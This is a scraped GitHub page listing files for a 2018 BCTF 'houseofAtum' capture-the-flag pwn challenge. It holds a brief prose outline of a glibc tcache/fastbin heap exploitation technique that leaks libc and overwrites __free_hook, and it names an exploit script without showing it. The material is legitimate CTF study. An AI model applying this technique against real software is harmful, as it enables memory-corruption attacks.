<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/WinMin/CTF-Writeup/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":68260909,"originating_url":"https://github.com/WinMin/CTF-Writeup/tree/master/2018/BCTF/Pwn/houseofatum","user_id":null}}" data-hydro-click-hmac="831b5c71c4337264a4db859f8ee4de599f6e7cc1fd41573b5bc44901cae59710"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/WinMin/CTF-Writeup/refs" cache-key="v0:1473907000.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="V2luTWluL0NURi1Xcml0ZXVw" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/WinMin/CTF-Writeup/refs" cache-key="v0:1473907000.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="V2luTWluL0NURi1Xcml0ZXVw" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeup</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>BCTF</span></span><span>/</span><span><span>Pwn</span></span><span>/</span>houseofatum<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeup</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>BCTF</span></span><span>/</span><span><span>Pwn</span></span><span>/</span>houseofatum<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/WinMin/CTF-Writeup/tree-commit/4f17bf6f0475850958ca8835d9fb898f00202cf8/2018/BCTF/Pwn/houseofatum" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/WinMin/CTF-Writeup/file-list/master/2018/BCTF/Pwn/houseofatum"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>houseofAtum</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>houseofAtum.i64</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>libc.so.6</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn_house_of_atum.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
## Analyze- Simlar `three` binary except add `show` function and we can only malloc 2 notes.
## Problem- With `show` function, we can leak data but with only 2 notes, we cannot using **tcache dup** technique.
## Idea- Free notes until tcache bin full. (size tcachebin = 7)- Free one more time, this chunk fall into fast bin.- Malloc 1st time, return chunk come from tcache bin and tcache bin next entry is NULL. Set content of this chunk = header addr of this chunk. (size tcachebin = 6)- Malloc 2nd time, return chunk also come from fastbin because tcache next entry is NULL. tcache bin not full and fast bin have 1 chunk (header addr of origin chunk) -> copy 1 chunk to tcache bins -> tcache bin full. (size tcachebin = 7)- Free origin chunk, it fall into fastbin. Next malloc, return chunk come from tcache (header addr of origin chunk).- Edit size of origin chunk -> craft chunk with size fall into unsorted bin -> leak libc addr -> use same techique to malloc into `__free_hook` addr. |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
